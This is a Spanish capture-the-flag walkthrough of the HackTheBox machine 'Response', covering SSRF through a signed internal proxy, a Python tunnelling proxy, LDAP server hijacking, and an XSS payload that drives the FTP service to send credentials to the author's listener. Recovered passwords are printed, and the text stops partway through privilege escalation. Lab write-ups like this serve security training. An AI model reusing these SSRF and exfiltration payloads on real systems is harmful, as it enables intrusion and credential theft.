Response


Conocimientos

  • Enumeración Web

  • Information Disclosure

  • Cambio de tipo en la cookie para producir un error (Se leakea parte del salt)

  • Creación de url_diggest y session_diggest abusando del error

  • Abuso de HTTP-Proxy

  • SSRF

  • Scripting en Bash - Creación de Proxy Básico (Automatización de los pasos que seguía con BurpSuite)

  • Scripting en Python - Creación de Internal Proxy con Flask

  • Obtención de archivos internos

  • LDAP Hijacking - Monto un servidor propio con Docker-Compose para autenticarme contra mi equipo

  • XSS - Acceso al FTP vía cliente

  • Análisis de código en Bash y Python

  • Análisis de código en Lua (AVANZADO)

  • Modificación de la configuración del LDAP (Con credenciales)

  • Despliegue de servicio HTTPs en mi equipo

  • DNS Hijacking

  • Uso de IpTables para redirigir al servidor a mis DNS Records

  • Subdomain Spoofing

  • Uso de SMTP para conexión a mi equipo

  • Interceptación de correo electrónico

  • LFI

  • User Pivoting

  • Análisis de binario compilado de linux (MUY AVANZADO)

  • Uso de Wireshark y tshark para analizar el tráfico de red en una captura

  • Creación de Script para filtrar paquetes de un único puerto

  • Obtención de Clave AES

  • Scripting en Python (AVANZADO) - Creación de Script para descifrar el binario

  • Reto Criptográfico (Creación de id_rsa a partir de la clave pública y una porción de la privada)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.163 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-05 08:30 GMT
Nmap scan report for 10.10.11.163
Host is up (0.069s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.75 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.163 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-05 08:31 GMT
Nmap scan report for 10.10.11.163
Host is up (0.45s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e9a4394afb065d5782fc4a0e0be46b25 (RSA)
|   256 a323e498dfb6911bf2ac2f1cc1469b15 (ECDSA)
|_  256 fb105fda55a66b953df2e85c0336ff31 (ED25519)
80/tcp open  http    nginx 1.21.6
|_http-title: Did not follow redirect to http://www.response.htb
|_http-server-header: nginx/1.21.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.36 seconds

Aplica un redirect a www.response.htb, así que añado el dominio y el subdominio al /etc/hosts

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que está empleando el servidor web

whatweb http://10.10.11.163
http://10.10.11.163 [302 Found] Country[RESERVED][ZZ], HTTPServer[nginx/1.21.6], IP[10.10.11.163], RedirectLocation[http://www.response.htb], Title[302 Found], nginx[1.21.6]
http://www.response.htb [200 OK] Country[RESERVED][ZZ], Email[contact@response.htb], HTML5, HTTPServer[nginx/1.21.6], IP[10.10.11.163], Title[Response Scanning Solutions], nginx[1.21.6]

La página principal se ve de la siguiente forma:

Como está muy estática, aplico fuzzing para encontrar rutas

gobuster dir -u http://www.response.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 40
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://www.response.htb/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/02/05 08:37:45 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 169] [--> http://www.response.htb/img/]
/writeups/assets               (Status: 301) [Size: 169] [--> http://www.response.htb/writeups/assets/]
/css                  (Status: 301) [Size: 169] [--> http://www.response.htb/css/]
/status               (Status: 301) [Size: 169] [--> http://www.response.htb/status/]
/fonts                (Status: 301) [Size: 169] [--> http://www.response.htb/fonts/]

Enumero también los subdominios

wfuzz -c --hh=145 -t 200 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.response.htb" http://response.htb
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://response.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000001:   200        109 L    297 W      4617 Ch     "www"                                                                                                                                           
000000051:   403        7 L      9 W        153 Ch      "api"                                                                                                                                           
000000070:   403        7 L      9 W        153 Ch      "chat"                                                                                                                                          
000000084:   200        1 L      1 W        21 Ch       "proxy"                                                                                                                                         

Total time: 7.543369
Processed Requests: 4989
Filtered Requests: 4985
Requests/sec.: 661.3755

Añado los tres nuevos al /etc/hosts

Abro la ruta /status que había visto antes

En el código fuente se está haciendo una llama a un script en javascript con extensión PHP

Dentro hay varias funciones (get_api_status, get_chat_status, get_servers, clear_servers, add_server, set_server_error)

Comienzo por la primera función. Me abro el BurpSuite para realizar las peticiones que se ven en el script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function get_api_status(handle_data, handle_error) {
    url_proxy = 'http://proxy.response.htb/fetch';
    json_body = {'url':'http://api.response.htb/', 'url_digest':'cab532f75001ed2cc94ada92183d2160319a328e67001a9215956a5dbf10c545', 'method':'GET', 'session':'268fa1f78c9d3599ba0ddee66e85f79b', 'session_digest':'ecd35b35e3cb155297e692c152b93eb3c8264415ad942d804de916a67dbf3da9'};
    fetch(url_proxy, {
            method: 'POST',
            headers: {'Content-Type':'application/json'},
            body: JSON.stringify(json_body)
    }).then(data => {
            return data.json();
    })
    .then(json => {
      if (json.status_code === 200) handle_data(JSON.parse(atob(json.body)));
      else handle_error('status_code ' + json.status_code);
    });
}

Al envíar, recibo una respuesta en base64, junto a un código de estado 200

Le hago un decode para ver su contenido en texto claro

echo; echo eyJhcGlfdmVyc2lvbiI6IjEuMCIsImVuZHBvaW50cyI6W3siZGVzYyI6ImdldCBhcGkgc3RhdHVzIiwibWV0aG9kIjoiR0VUIiwicm91dGUiOiIvIn0seyJkZXNjIjoiZ2V0IGludGVybmFsIGNoYXQgc3RhdHVzIiwibWV0aG9kIjoiR0VUIiwicm91dGUiOiIvZ2V0X2NoYXRfc3RhdHVzIn0seyJkZXNjIjoiZ2V0IG1vbml0b3JlZCBzZXJ2ZXJzIGxpc3QiLCJtZXRob2QiOiJHRVQiLCJyb3V0ZSI6Ii9nZXRfc2VydmVycyJ9XSwic3RhdHVzIjoicnVubmluZyJ9Cg== | base64 -d;

{"api_version":"1.0","endpoints":[{"desc":"get api status","method":"GET","route":"/"},{"desc":"get internal chat status","method":"GET","route":"/get_chat_status"},{"desc":"get monitored servers list","method":"GET","route":"/get_servers"}],"status":"running"}

Parece otra petición que puedo replicar con BurpSuite

Hago lo mismo con la segunda función

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function get_chat_status(handle_data, handle_error) {
    url_proxy = 'http://proxy.response.htb/fetch';
    json_body = {'url':'http://api.response.htb/get_chat_status', 'url_digest':'582cca8fd9e8eb387d8e462fb5bd73a8ae458c40801aa4754b9132c28039bd07', 'method':'GET', 'session':'268fa1f78c9d3599ba0ddee66e85f79b', 'session_digest':'ecd35b35e3cb155297e692c152b93eb3c8264415ad942d804de916a67dbf3da9'};
    fetch(url_proxy, {
            method: 'POST',
            headers: {'Content-Type':'application/json'},
            body: JSON.stringify(json_body)
    }).then(data => {
            return data.json();
    })
    .then(json => {
      if (json.status_code === 200) handle_data(JSON.parse(atob(json.body)));
      else handle_error('status_code ' + json.status_code);
    });
}

Esta vez, la cadena es más corta

Le hago el decode:

echo; echo eyJzdGF0dXMiOiJydW5uaW5nIiwidmhvc3QiOiJjaGF0LnJlc3BvbnNlLmh0YiJ9Cg== | base64 -d;

{"status":"running","vhost":"chat.response.htb"}

Intercepto la petición que carga el script y me doy cuenta que estoy arrastrando un PHPSESSID y que coincide con la sesión de las funciones

Abro todos los subdominios en diferentes pestañas del Firefox, para ver su respuesta

La única que devuelve algo de información es la del proxy

Replico la respuesta que devolvió el servidor con la primera función

Pero me falta el parámetro URL que desconozco

Al cambiar el tipo de dato de la cookie de sesión por un array, se puede ver un error donde se leakea parte del salt

Si introduzco una URL en la cookie de sesión, aparece un error por ciertos caracteres, pero se leakea el session_digest

Envío una petición a mi equipo, siguiendo la estructura de antes, pero cambiando la URL y el url_digest por la session_digest que se leakeaba antes

Me quedo en escucha con netcat y recibo una petición

nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.163.
Ncat: Connection from 10.10.11.163:34124.
GET /test HTTP/1.1
Host: 10.10.16.3
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
PHPSESSID: 268fa1f78c9d3599ba0ddee66e85f79b

Como estoy ante un proxy, podría tratar de realizar peticiones no a mí, si no a recursos a los que yo de primeras no estoy autorizado abusando de un SSRF

Para ver su contenido en un buen formato, ya que al hacer el decode no hay retornos de carro ni saltos de línea, utilizo un beautifer online para transformarlo

Se está incluyendo un comprimido

<a href="files/chat_source.zip" style="text-decoration:none;color:#cccccc;">download source code</a>

Como es mucho contenido, tramito una petición por curl y lo deposito en un archivo

curl -s -X POST -H "Content-Type: Application/json" -d '{"url":"http://chat.response.htb/files/chat_source.zip", "url_digest":"c28fa1cd83806a968d71e60198ddcc50c37111c0e03a71fd883ab3ae5f399c11", "method":"GET", "session":"268fa1f78c9d3599ba0ddee66e85f79b", "session_digest":"ecd35b35e3cb155297e692c152b93eb3c8264415ad942d804de916a67dbf3da9"}' http://proxy.response.htb/fetch -o data

Me quedo con el campo body y lo deposito en otro archivo decodeado

cat data | jq -r .body | base64 -d > file.zip

file file.zip
file.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

Lo descomprimo para analizar sus archivos

unzip file.zip -d file

Dentro hay un READ con las instrucciones de insatlación

mdcat README.md
┄Response Scanning Solutions - Internal Chat Application

This repository contains the Response Scanning Solutions internal chat application.

The application is based on the following article: https://socket.io/get-started/private-messaging-part-1/.

┄┄How to deploy

Make sure redis server is running and configured in server/index.js.

Adjust socket.io URL in src/socket.js.

Install and build the frontend:

────────────────────
$ npm install
$ npm run build
────────────────────

Install and run the server:

────────────────────
$ cd server
$ npm install
$ npm start
────────────────────

Se pueden ver credenciales en un archivo

find . | xargs grep -ri "pass"
./server/index.js:async function authenticate_user(username, password, authserver) {
./server/index.js:  if (username === 'guest' && password === 'guest') return true;

Se está produciendo una autenticación contra LDAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const { authenticate } = require("ldap-authentication");


async function authenticate_user(username, password, authserver) {

  if (username === 'guest' && password === 'guest') return true;

  if (!/^[a-zA-Z0-9]+$/.test(username)) return false;
  
  let options = {
    ldapOpts: { url: `ldap://${authserver}` },
    userDn: `uid=${username},ou=users,dc=response,dc=htb`,
    userPassword: password,
  }
  try {
    return await authenticate(options);
  } catch { }
  return false;

}

io.use(async (socket, next) => {
  const sessionID = socket.handshake.auth.sessionID;
  if (sessionID) {
    const session = await sessionStore.findSession(sessionID);
    if (session) {
      socket.sessionID = sessionID;
      socket.username = session.username;
      return next();
    }
  }

Creo un script que automatiza la descarga de archivos

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

url="$1"

session_digest=$(curl -s -X GET http://www.response.htb/status/main.js.php -H "Cookie: PHPSESSID=$url" | grep "session_digest" | tail -n 1 | grep -oP "{.*?}" | tr '{,}' '\n' | tail -n 2 | head -n 1 | grep -oP "'.*?'" | tr -d "'" | tail -n 1)

echo -e "\n[+] Session_diggest: $session_digest"

post_data=$(curl -s -X POST -H "Content-Type: application/json" -d "{\"url\":\"$url\", \"url_digest\":\"$session_digest\", \"method\":\"GET\", \"session\":\"268fa1f78c9d3599ba0ddee66e85f79b\", \"session_digest\":\"ecd35b35e3cb155297e692c152b93eb3c8264415ad942d804de916a67dbf3da9\"}" http://proxy.response.htb/fetch | jq -r .body | base64 -d)

echo -e "\n[+] Contenido:\n\n$(echo $post_data | tidy | tee index.html)" # En caso de que tidy de error, eliminar

Me descargo los recursos, y en local puedo ver que hay un panel de inicio de sesión

Las credenciales las vi antes (guest:guest)

Intercepto la petición con BurpSuite, y como no va a resolver paso por el proxy con el script que he creado

/proxy.sh "http://chat.response.htb/socket.io/?EIO=4&transport=polling&t=OOXN9Xp"
0{"sid":"dder65BFMTp3CkEXAAAA","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000}

Si le añado el SID como parámetro, me devulve un 2

./proxy.sh "http://chat.response.htb/socket.io/?EIO=4&transport=polling&t=OOXN9Xp&sid=FnsCqWYaTidFYKt6AAAA"
2

Como mi script no es lo suficientemente potente como para ver y enviar solicitudes en tiempo real, busco la forma de crear un script en python que cree un proxy a través de Flask. Encuentro este artículo

Quedaría de la siguiente forma. Es importante recalcar que para que las peticiones se tramiten correctamente, chat.response.htb debe apuntar al localhost, en caso contrario no se está pasando por el proxy las peticiones por POST y no se puede iniciar sesión.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import base64
from http.server import BaseHTTPRequestHandler, HTTPServer
import random
import re
import requests
from socketserver import ThreadingMixIn
import sys
import threading
import time


hostName = "0.0.0.0"
serverPort = 80


class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.request_handler('GET')

    def do_POST(self):
        self.request_handler('POST')

    def request_handler(self, method):
        self.random_number = random.randint(100000,999999)

        path = self.path
        myurl = 'http://chat.response.htb' + path
        print(f"[{self.random_number}] {method} {myurl}")
       
        if method == 'POST':
            content_len = int(self.headers.get('Content-Length'))
            post_body = self.rfile.read(content_len)
            print(f"[{self.random_number}] body: {post_body}")
        else:
            post_body = None

        digest = self.get_digest(myurl)

        data = self.send_request_to_proxy(myurl, method, digest, post_body)

        self.send_response(200)
        if path.endswith('.js'):
            self.send_header("Content-type", "application/javascript")
        elif path.endswith('.css'):
            self.send_header("Content-type", "text/css")
        else:
            self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(data)

    def get_digest(self, myurl):
        url = 'http://www.response.htb/status/main.js.php'
        cookies = {'PHPSESSID': myurl}
        response = requests.get(url, cookies=cookies)
        response.raise_for_status()
        assert 'session_digest' in response.text
        session_digest = re.search(r'\'session_digest\':\'([^\']+)', response.text).group(1)
        return session_digest

    def send_request_to_proxy(self, myurl, method, digest, body=None):
        url = 'http://proxy.response.htb/fetch'
        data = {'url': myurl,
                'url_digest': digest,
                'method': method,
                'session': '1a5455b829845168770cb337f1a05507',
                'session_digest': 'd27e297b494df599e72985e6e9a166751d7de74136df9d74468aac0818c29125'}
        if method == 'POST':
            data['body'] = base64.b64encode(body)
        response = requests.post(url, json=data)
        response.raise_for_status()
        assert 'body' in response.text and 'status_code' in response.text
        body = response.json()['body']
        status_code = response.json()['status_code']
        print(f"[{self.random_number}] status_code from proxy: {status_code}; length of body: {len(body)}")
        decoded_string = base64.b64decode(body)
        return decoded_string


class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""


def main():
    webServer = ThreadedHTTPServer((hostName, serverPort), MyServer)

    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")


if __name__ == "__main__":       
    main()

Ahora tengo acceso completo al chat

Envío datos en el chat de Bob y recibo respuestas

Pero creo que es un rabbit hole y no me lleva a ningún sitio

Intercepto la petición de inicio de sesión con BurpSuite y veo como se tramitan los datos. Hay que borrar el SessionID del almacenamiento para poder cerrar la sesión

Al introducir credenciales erróneas, la respuesta es la misma, por lo que no puedo efectuar ataques de fuerza bruta ni inyecciones de ningún tipo. Sin embargo, puedo intentar cambiar el servidor LDAP por uno que creo de mi lado

Hago una búsqueda en Google y encuentro varias formas de montarlo con un contenedor en Docker

Tengo que crear un archivo de configuración como el del ejemplo, adaptándolo para mi caso

Hay que especificarle una contraseña para que más adelante no lo detecte como inseguro

version: '2'
services:
  ldap:
    image: osixia/openldap:1.5.0
    container_name: ldap
    environment:
        - LDAP_ORGANISATION=response
        - LDAP_DOMAIN=response.htb
        - "LDAP_BASE_DN=dc=response,dc=htb"
        - LDAP_ADMIN_PASSWORD=rubbx123
    ports:
        - 389:389
        - 636:636

El siguiente paso es levantar el servicio

Todo lo gestiona docker-compose

docker-compose up -d ldap
Creating network "docker-ldap_default" with the default driver
Creating ldap ... done

Faltan los archivos de configuración de los usuarios

El users.ldif

dn: ou=users,dc=response,dc=htb
objectClass: top
objectClass: organizationalUnit
ou: users

Y el admin.ldif

dn: uid=admin,ou=users,dc=response,dc=htb
uid: admin
cn: admin
sn: 3
objectClass: top
objectClass: posixAccount
objectClass: inetOrgPerson
loginShell: /bin/bash
homeDirectory: /home/admin
uidNumber: 14583102
gidNumber: 14564100
mail: admin@response.htb
gecos: admin

Copio ambos ficheros al contendedor y me meto dentro

docker cp users.ldif ldap:/
docker cp admin.ldif ldap:/

docker exec -it ldap bash
root@59dc459c4c87:/# 

Agrego los namingcontexts que había definido antes

root@59dc459c4c87:/# ldapadd -x -H ldap://localhost -D "cn=admin,dc=response,dc=htb" -w rubbx123 -f users.ldif
adding new entry "ou=users,dc=response,dc=htb"

Y también para el administrador

root@59dc459c4c87:/# ldapadd -x -H ldap://localhost -D "cn=admin,dc=response,dc=htb" -w rubbx123 -f admin.ldif 
adding new entry "uid=admin,ou=users,dc=response,dc=htb"

Ahora le puedo cambiar la contraseña al usuario Admin de mi LDAP y como la autenticación se va a producir a mi lado, me podré autenticar como Admin en el servicio web

root@59dc459c4c87:/# ldappasswd -D "cn=admin,dc=response,dc=htb" -w rubbx123 -s "rubbx123" -x "uid=admin,ou=users,dc=response,dc=htb"

En Wireshark, puedo ver como se ha tramitado la autenticación

Y aparezco loggeado como ese usuario

Dentro del chat de Bob dan una pista (CTF Like), con el usuario y la contraseña del FTP

Espera que se le pase un link, así que a modo de traza, le comparto un recurso de alojado de mi lado

Y recibo la petición

python3 -m http.server 81
Serving HTTP on 0.0.0.0 port 81 (http://0.0.0.0:81/) ...
10.10.11.163 - - [05/Feb/2023 16:23:24] code 404, message File not found
10.10.11.163 - - [05/Feb/2023 16:23:24] "GET /test HTTP/1.1" 404 -
10.10.11.163 - - [05/Feb/2023 16:23:25] code 404, message File not found
10.10.11.163 - - [05/Feb/2023 16:23:25] "GET /favicon.ico HTTP/1.1" 404 -

Me pongo ahora en escucha pero con netcat, para fijarme en el User-Agent

nc -nlvp 81
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::81
Ncat: Listening on 0.0.0.0:81
Ncat: Connection from 10.10.11.163.
Ncat: Connection from 10.10.11.163:42264.
GET /test HTTP/1.1
Host: 10.10.16.3:81
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Intento acceder al puerto 21 abusando del SSRF de antes pero no tengo acceso

Puedo intentar efectuar un XSS, y que el propio usuario sea quien me proporcione los datos al abrir un enlace, pero aunque reciba la petición al servidor de python, no recibo nada por netcat

python3 -m http.server 81
Serving HTTP on 0.0.0.0 port 81 (http://0.0.0.0:81/) ...
10.10.11.163 - - [06/Feb/2023 09:06:29] "GET / HTTP/1.1" 200 -
10.10.11.163 - - [06/Feb/2023 09:06:30] "GET /pwned.js HTTP/1.1" 200 -

Para solucionarlo, hago que la petición a mi equipo se tramite desde el propio FTP. Hay que tener en cuenta que la IP va separada por comas y no puntos y el puerto tiene que estar en formato bytes. Para que esto sea posible, el puerto tiene que tene un valor muy alto, porque si no, la parte entera siempre va a valer 0, ya que se obtiene de la división del puerto entre 256 más las unidades que falten para el total. En FTP, corresponde al error 500 Illegal PORT command

Mi JavaScript quedaría de la siguiente forma:

1
2
3
var peticion = new XMLHttpRequest();
peticion.open("POST", "http://172.18.0.6:2121", true);
peticion.send("USER ftp_user\r\nPASS Secret12345\r\nPORT 10,10,16,3,156,64\r\nLIST\r\n");

Intenté enviarle directamente el script, pero así no lo interpreta. Hay que crear un index.html

<html>
<script src="http://10.10.16.3:81/pwned.js"></script>
</html>

Le envío el enlace y recibo el contenido

nc -nlvp 40000
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::40000
Ncat: Listening on 0.0.0.0:40000
Ncat: Connection from 10.10.11.163.
Ncat: Connection from 10.10.11.163:39816.
-rw-r--r--    1 root     root            74 Mar 16  2022 creds.txt

Cambio el LIST por un RETR creds.txt para ver el contenido

nc -nlvp 40000
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::40000
Ncat: Listening on 0.0.0.0:40000
Ncat: Connection from 10.10.11.163.
Ncat: Connection from 10.10.11.163:40544.
ftp
---
ftp_user / Secret12345

ssh
---
bob / F6uXVwEjdZ46fsbXDmQK7YPY3OM

Y obtengo credenciales de acceso por SSH

ssh bob@response.htb
bob@response.htb's password: 

bob@response:~$ whoami
bob
bob@response:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@response:~$ hostname -I
10.10.11.163 172.17.0.1 172.18.0.1 172.19.0.1 dead:beef::250:56ff:feb9:20a8 

Puedo visualizar la primera flag

bob@response:~$ cat user.txt 
2b0b86b0ae79e3d2733c6dbed29a8595

Escalada

Es extraño, el directorio típico donde se almacenan las páginas web no existe

bob@response:~$ cd /var/www/html
-bash: cd: /var/www/html: No such file or directory

Pero hay varios contenedores corriendo con Docker por el usuario root

bob@response:~$ ps -faux | grep docker
bob         6077  0.0  0.0   6432   720 pts/0    S+   10:21   0:00              \_ grep --color=auto docker
root        1137  0.1  2.0 1997124 83716 ?       Ssl  09:42   0:03 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root        1683  0.0  0.0 1148872 3572 ?        Sl   09:42   0:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 389 -container-ip 172.18.0.7 -container-port 389
root        2309  0.0  0.0 1148872 3876 ?        Sl   09:42   0:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 80 -container-ip 172.18.0.9 -container-port 80
root        2314  0.0  0.0 1222604 3668 ?        Sl   09:42   0:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 80 -container-ip 172.18.0.9 -container-port 80

Hay otro usuario a parte del que ya tengo, por lo que puedo intentar migrar a él

bob@response:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
scryh:x:1000:1000:scryh:/home/scryh:/bin/bash
bob:x:1001:1001::/home/bob:/bin/bash

Tengo acceso a un directorio suyo

bob@response:/home/scryh/scan$ ls
data  output  scan.sh  scripts  send_report.py

Dejo de fondo el PsPy ejecutándose para ver tareas que se ejecutan en intervalos regulares de tiempo

2023/02/06 10:27:01 CMD: UID=1000 PID=6532   | bash -c cd /home/scryh/scan;./scan.sh 
2023/02/06 10:27:01 CMD: UID=1000 PID=6533   | /bin/bash ./scan.sh 
2023/02/06 10:27:01 CMD: UID=1000 PID=6540   | cut -d   -f2 
2023/02/06 10:27:01 CMD: UID=1000 PID=6539   | grep ipHostNumber 
2023/02/06 10:27:01 CMD: UID=1000 PID=6538   | /bin/bash ./scan.sh 
2023/02/06 10:27:01 CMD: UID=1000 PID=6537   | /bin/bash ./scan.sh 
2023/02/06 10:27:01 CMD: UID=1000 PID=6541   | nmap -v -Pn 172.18.0.4 -p 443 --script scripts/ssl-enum-ciphers,scripts/ssl-cert,scripts/ssl-heartbleed -oX output/scan_172.18.0.4.xml 
2023/02/06 10:27:01 CMD: UID=0    PID=6542   | 
2023/02/06 10:27:11 CMD: UID=1000 PID=6543   | /bin/bash ./scan.sh 
2023/02/06 10:27:11 CMD: UID=1000 PID=6551   | /bin/bash ./scan.sh 
2023/02/06 10:27:11 CMD: UID=1000 PID=6550   | /bin/bash ./scan.sh 
2023/02/06 10:27:11 CMD: UID=1000 PID=6549   | grep manager: uid= 
2023/02/06 10:27:11 CMD: UID=1000 PID=6548   | /usr/bin/ldapsearch -x -D cn=admin,dc=response,dc=htb -w aU4EZxEAOnimLNzk3 -s sub -b ou=servers,dc=response,dc=htb (&(objectclass=ipHost)(ipHostNumber=172.18.0.4)) 
2023/02/06 10:27:11 CMD: UID=1000 PID=6547   | /bin/bash ./scan.sh 
2023/02/06 10:27:11 CMD: UID=1000 PID=6552   | /bin/bash ./scan.sh 
2023/02/06 10:27:11 CMD: UID=1000 PID=6555   | cut -d   -f2 
2023/02/06 10:27:11 CMD: UID=1000 PID=6554   | grep mail:  
2023/02/06 10:27:11 CMD: UID=1000 PID=6553   | /usr/bin/ldapsearch -x -D cn=admin,dc=response,dc=htb -w aU4EZxEAOnimLNzk3 -s sub -b ou=customers,dc=response,dc=htb (uid=marie) 
2023/02/06 10:27:11 CMD: UID=1000 PID=6556   | /bin/bash ./scan.sh 
2023/02/06 10:27:11 CMD: UID=1000 PID=6563   | sort 
2023/02/06 10:27:11 CMD: UID=1000 PID=6562   | cut -d = -f2 
2023/02/06 10:27:11 CMD: UID=1000 PID=6561   | grep mail exchanger 
2023/02/06 10:27:11 CMD: UID=1000 PID=6560   | nslookup -type=mx response-test.htb 
2023/02/06 10:27:11 CMD: UID=1000 PID=6559   | /bin/bash ./scan.sh 
2023/02/06 10:27:11 CMD: UID=1000 PID=6565   | cut -d   -f3 
2023/02/06 10:27:11 CMD: UID=1000 PID=6564   | head -n1 
2023/02/06 10:27:16 CMD: UID=1000 PID=6575   | /bin/bash ./scan.sh 
2023/02/06 10:27:16 CMD: UID=1000 PID=6574   | head -n1 
2023/02/06 10:27:16 CMD: UID=1000 PID=6573   | sort 
2023/02/06 10:27:16 CMD: UID=1000 PID=6572   | cut -d = -f2 
2023/02/06 10:27:16 CMD: UID=1000 PID=6571   | /bin/bash ./scan.sh 
2023/02/06 10:27:16 CMD: UID=1000 PID=6570   | timeout 0.5 nslookup -type=mx response-test.htb 172.18.0.4 
2023/02/06 10:27:16 CMD: UID=1000 PID=6569   | /bin/bash ./scan.sh 
2023/02/06 10:27:16 CMD: UID=1000 PID=6576   | timeout 0.5 nslookup -type=mx response-test.htb 172.18.0.4 
2023/02/06 10:27:16 CMD: UID=1000 PID=6580   | /bin/bash ./scan.sh 
2023/02/06 10:27:16 CMD: UID=1000 PID=6585   | /bin/bash ./scan.sh 
2023/02/06 10:27:16 CMD: UID=1000 PID=6584   | /bin/bash ./scan.sh 
2023/02/06 10:27:16 CMD: UID=1000 PID=6583   | /bin/bash ./scan.sh 
2023/02/06 10:27:16 CMD: UID=1000 PID=6582   | grep Name: -A2 
2023/02/06 10:27:16 CMD: UID=1000 PID=6581   | nslookup mail.response-test.htb. 172.18.0.4 
2023/02/06 10:27:16 CMD: UID=1000 PID=6589   | python3 ./send_report.py 172.18.0.4 marie.w@response-test.htb output/scan_172.18.0.4.pdf 
2023/02/06 10:27:16 CMD: UID=0    PID=6590   | /bin/bash /root/ldap/scan.sh 
2023/02/06 10:27:16 CMD: UID=0    PID=6591   | cp /root/ldap/data.mdb /root/docker/openldap/data/slapd/database/ 
2023/02/06 10:27:16 CMD: UID=0    PID=6592   | /bin/bash /root/ldap/restore_ldap.sh 
2023/02/06 10:27:16 CMD: UID=0    PID=6599   | /bin/bash /root/ldap/restore_ldap.sh 

Dentro de scan.sh, hay una función que se encarga con el usuario de expresiones regulares de validar los correos

function isEmailValid() {
  regex="^(([A-Za-z0-9]+((\.|\-|\_|\+)?[A-Za-z0-9]?)*[A-Za-z0-9]+)|[A-Za-z0-9]+)@(([A-Za-z0-9]+)+((\.|\-|\_)?([A-Za-z0-9]+)+)*)+\.([A-Za-z]{2,})+$"
  [[ "${1}" =~ $regex ]]
}

Y credenciales en texto claro

bind_dn='cn=admin,dc=response,dc=htb'
pwd='aU4EZxEAOnimLNzk3'

Se conecta al LDAP y valida la IP

1
2
3
4
5
# get customer's servers from LDAP
servers=$(/usr/bin/ldapsearch -x -D $bind_dn -w $pwd -s sub -b 'ou=servers,dc=response,dc=htb' '(objectclass=ipHost)'|grep ipHostNumber|cut -d ' ' -f2)
for ip in $servers; do
  if [[ "$ip" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
    echo "scanning server ip $ip" >> $log_file

Pruebo a ejecutar lo mismo para ver cual es la IP que almacena la variable

1
2
bob@response:/home/scryh/scan$ /usr/bin/ldapsearch -x -D 'cn=admin,dc=response,dc=htb' -w 'aU4EZxEAOnimLNzk3' -s sub -b 'ou=servers,dc=response,dc=htb' '(objectclass=ipHost)'|grep ipHostNumber|cut -d ' ' -f2
